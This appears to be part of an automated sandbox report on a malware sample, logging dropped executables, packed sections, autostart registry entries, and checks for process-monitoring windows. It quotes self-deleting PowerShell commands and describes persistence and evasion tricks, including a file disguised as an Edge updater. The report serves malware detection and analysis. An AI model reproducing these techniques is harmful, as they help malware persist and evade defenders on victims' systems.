Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: iertutil.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1760256 > 1048576

Source: file.exe

Static PE information: Raw size of kolocmpo is bigger than: 0x100000 < 0x193e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1827295074.000000006EBFD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\initialexe\chrome.exe.pdb source: explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.PDB*P!w source: HRFuUub.exe, 00000028.00000002.2058553646.00000000010FB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Autoruns.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64a.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERE345.tmp.dmp.50.dr
Source:	Binary string: f:\Project\RtkBtMnt_1009\RtkBtMnt_1009\RtkBtMnt\x64\release\RtBtMn64.pdb source: explorer.exe, 00000024.00000003.2007743138.0000000004372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: autorunsc.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: explorer.exe, 00000024.00000003.2023358155.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2055852821.0000000005430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.PDB*P!w<' source: tpZOod0.exe, 0000002E.00000002.2092266675.0000000000CFB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERE345.tmp.dmp.50.dr
Source:	Binary string: mscorlib.ni.pdbRSDS] source: WERE345.tmp.dmp.50.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: autorunsc64.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5467ed4ac5.exe, 00000035.00000003.2755334790.00000000081C0000.00000004.00001000.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2808970641.00000000060B2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1827295074.000000006EBFD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: e:\proj_20160906_cpl_sessiondetect\20160906_chunyung_setforgroundwindow\_ma4_release\x64\RAVCpl64.pdb source: explorer.exe, 00000024.00000003.2007743138.0000000004372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.PDB source: tpZOod0.exe, 0000002E.00000002.2092920415.0000000000F42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.PDB9 source: HRFuUub.exe, 00000028.00000002.2058759987.0000000001274000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kolocmpo:EW;navlvyoq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kolocmpo:EW;navlvyoq:EW;.taggant:EW;
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Unpacked PE file: 20.2.KKEBKJJDGH.exe.840000.0.unpack :EW;.rsrc:W;.idata :W; :EW;miionvrr:EW;mlkqwbas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;miionvrr:EW;mlkqwbas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;miionvrr:EW;mlkqwbas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;miionvrr:EW;mlkqwbas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Unpacked PE file: 40.2.HRFuUub.exe.c70000.0.unpack TL:9@:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Unpacked PE file: 53.2.5467ed4ac5.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bjuxpwog:EW;qivmlrgf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bjuxpwog:EW;qivmlrgf:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del gU8ND0g.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del gU8ND0g.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: tpZOod0.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x3e386
Source: bc330fc673.exe.22.dr	Static PE information: real checksum: 0x1e89d0 should be: 0x1ecfed
Source: e6f3e13d62.exe.22.dr	Static PE information: real checksum: 0x1b2f51 should be: 0x1b7365
Source: c8297318cd.exe.22.dr	Static PE information: real checksum: 0x43e372 should be: 0x444d17
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x43e372 should be: 0x444d17
Source: tpZOod0[1].exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x3e386
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1d8672 should be: 0x1e2461
Source: 5467ed4ac5.exe.22.dr	Static PE information: real checksum: 0x1d0eaf should be: 0x1cfde9
Source: random[1].exe0.22.dr	Static PE information: real checksum: 0x1d0eaf should be: 0x1cfde9
Source: KKEBKJJDGH.exe.0.dr	Static PE information: real checksum: 0x1d8672 should be: 0x1e2461
Source: gdi32.dll.40.dr	Static PE information: real checksum: 0x0 should be: 0x20811
Source: MicrosoftEdgeUpdateTaskMachineCoreSC.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x2499b9
Source: gU8ND0g[1].exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x2499b9
Source: gU8ND0g.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x2499b9
Source: random[1].exe.22.dr	Static PE information: real checksum: 0x1e89d0 should be: 0x1ecfed
Source: file.exe	Static PE information: real checksum: 0x1b2f51 should be: 0x1b7365
Source: random[1].exe1.22.dr	Static PE information: real checksum: 0x1b2f51 should be: 0x1b7365
Source: HRFuUub.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x3e386
Source: HRFuUub[1].exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x3e386

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kolocmpo
Source: file.exe	Static PE information: section name: navlvyoq
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .idata
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: miionvrr
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: mlkqwbas
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: tdkylspa
Source: random[1].exe.0.dr	Static PE information: section name: kjqxchzy
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: miionvrr
Source: skotes.exe.20.dr	Static PE information: section name: mlkqwbas
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: tpZOod0[1].exe.22.dr	Static PE information: section name: TL:9@
Source: tpZOod0[1].exe.22.dr	Static PE information: section name:
Source: tpZOod0.exe.22.dr	Static PE information: section name: TL:9@
Source: tpZOod0.exe.22.dr	Static PE information: section name:
Source: HRFuUub[1].exe.22.dr	Static PE information: section name: TL:9@
Source: HRFuUub[1].exe.22.dr	Static PE information: section name:
Source: HRFuUub.exe.22.dr	Static PE information: section name: TL:9@
Source: HRFuUub.exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: ymqqshfd
Source: random[1].exe.22.dr	Static PE information: section name: ftkrcswf
Source: random[1].exe.22.dr	Static PE information: section name: .taggant
Source: bc330fc673.exe.22.dr	Static PE information: section name:
Source: bc330fc673.exe.22.dr	Static PE information: section name: .idata
Source: bc330fc673.exe.22.dr	Static PE information: section name:
Source: bc330fc673.exe.22.dr	Static PE information: section name: ymqqshfd
Source: bc330fc673.exe.22.dr	Static PE information: section name: ftkrcswf
Source: bc330fc673.exe.22.dr	Static PE information: section name: .taggant
Source: c8297318cd.exe.22.dr	Static PE information: section name:
Source: c8297318cd.exe.22.dr	Static PE information: section name: .idata
Source: c8297318cd.exe.22.dr	Static PE information: section name:
Source: c8297318cd.exe.22.dr	Static PE information: section name: tdkylspa
Source: c8297318cd.exe.22.dr	Static PE information: section name: kjqxchzy
Source: c8297318cd.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: .idata
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: bjuxpwog
Source: random[1].exe0.22.dr	Static PE information: section name: qivmlrgf
Source: random[1].exe0.22.dr	Static PE information: section name: .taggant
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name:
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: .idata
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name:
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: bjuxpwog
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: qivmlrgf
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe1.22.dr	Static PE information: section name:
Source: random[1].exe1.22.dr	Static PE information: section name: .idata
Source: random[1].exe1.22.dr	Static PE information: section name:
Source: random[1].exe1.22.dr	Static PE information: section name: kolocmpo
Source: random[1].exe1.22.dr	Static PE information: section name: navlvyoq
Source: random[1].exe1.22.dr	Static PE information: section name: .taggant
Source: e6f3e13d62.exe.22.dr	Static PE information: section name:
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: .idata
Source: e6f3e13d62.exe.22.dr	Static PE information: section name:
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: kolocmpo
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: navlvyoq
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: .taggant
Source: gU8ND0g[1].exe.22.dr	Static PE information: section name: .00cfg
Source: gU8ND0g.exe.22.dr	Static PE information: section name: .00cfg
Source: MicrosoftEdgeUpdateTaskMachineCoreSC.exe.25.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375F1394 push qword ptr [00007FF63762A004h]; ret	25_2_00007FF6375F1403
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375FAC26 push rdx; iretd	25_2_00007FF6375FAC27
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375FA998 push rdx; iretd	25_2_00007FF6375FA999
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AA1394 push qword ptr [00007FF666ADA004h]; ret	35_2_00007FF666AA1403
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AAAC26 push rdx; iretd	35_2_00007FF666AAAC27
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AAA998 push rdx; iretd	35_2_00007FF666AAA999
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_00C748E3 push E44980F9h; retf	40_2_00C749A4
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_00C748AD push E44980F9h; retf	40_2_00C749A4
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_00C75039 push eax; ret	40_2_00C7503A
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_00C736F3 push ebx; ret	40_2_00C736F5
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_00C73E40 push 60224721h; ret	40_2_00C73E45
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C26DB3F push 41080E0Ah; ret	40_2_6C26DB66
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B0DCB push FFFFFFBEh; retf	40_2_017B0DCD

Source: file.exe	Static PE information: section name: kolocmpo entropy: 7.955234945449644
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: entropy: 7.98639604351662
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: miionvrr entropy: 7.9542555049532
Source: random[1].exe.0.dr	Static PE information: section name: tdkylspa entropy: 7.956265996665496
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.98639604351662
Source: skotes.exe.20.dr	Static PE information: section name: miionvrr entropy: 7.9542555049532
Source: tpZOod0[1].exe.22.dr	Static PE information: section name: TL:9@ entropy: 7.99866143332129
Source: tpZOod0.exe.22.dr	Static PE information: section name: TL:9@ entropy: 7.99866143332129
Source: HRFuUub[1].exe.22.dr	Static PE information: section name: TL:9@ entropy: 7.99866143332129
Source: HRFuUub.exe.22.dr	Static PE information: section name: TL:9@ entropy: 7.99866143332129
Source: random[1].exe.22.dr	Static PE information: section name: ymqqshfd entropy: 7.937182137533328
Source: bc330fc673.exe.22.dr	Static PE information: section name: ymqqshfd entropy: 7.937182137533328
Source: c8297318cd.exe.22.dr	Static PE information: section name: tdkylspa entropy: 7.956265996665496
Source: random[1].exe0.22.dr	Static PE information: section name: entropy: 7.979200289929232
Source: random[1].exe0.22.dr	Static PE information: section name: bjuxpwog entropy: 7.9536144206272
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: entropy: 7.979200289929232
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: bjuxpwog entropy: 7.9536144206272
Source: random[1].exe1.22.dr	Static PE information: section name: kolocmpo entropy: 7.955234945449644
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: kolocmpo entropy: 7.955234945449644

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\KKEBKJJDGH.exe

Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: attrib.exe

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\gU8ND0g[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	File created: C:\Users\user\AppData\Roaming\gdi32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\KKEBKJJDGH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	File created: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5467ed4ac5.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e6f3e13d62.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 877defb7e2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run af6718da11.exe

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window searched: window name: Regmonclass
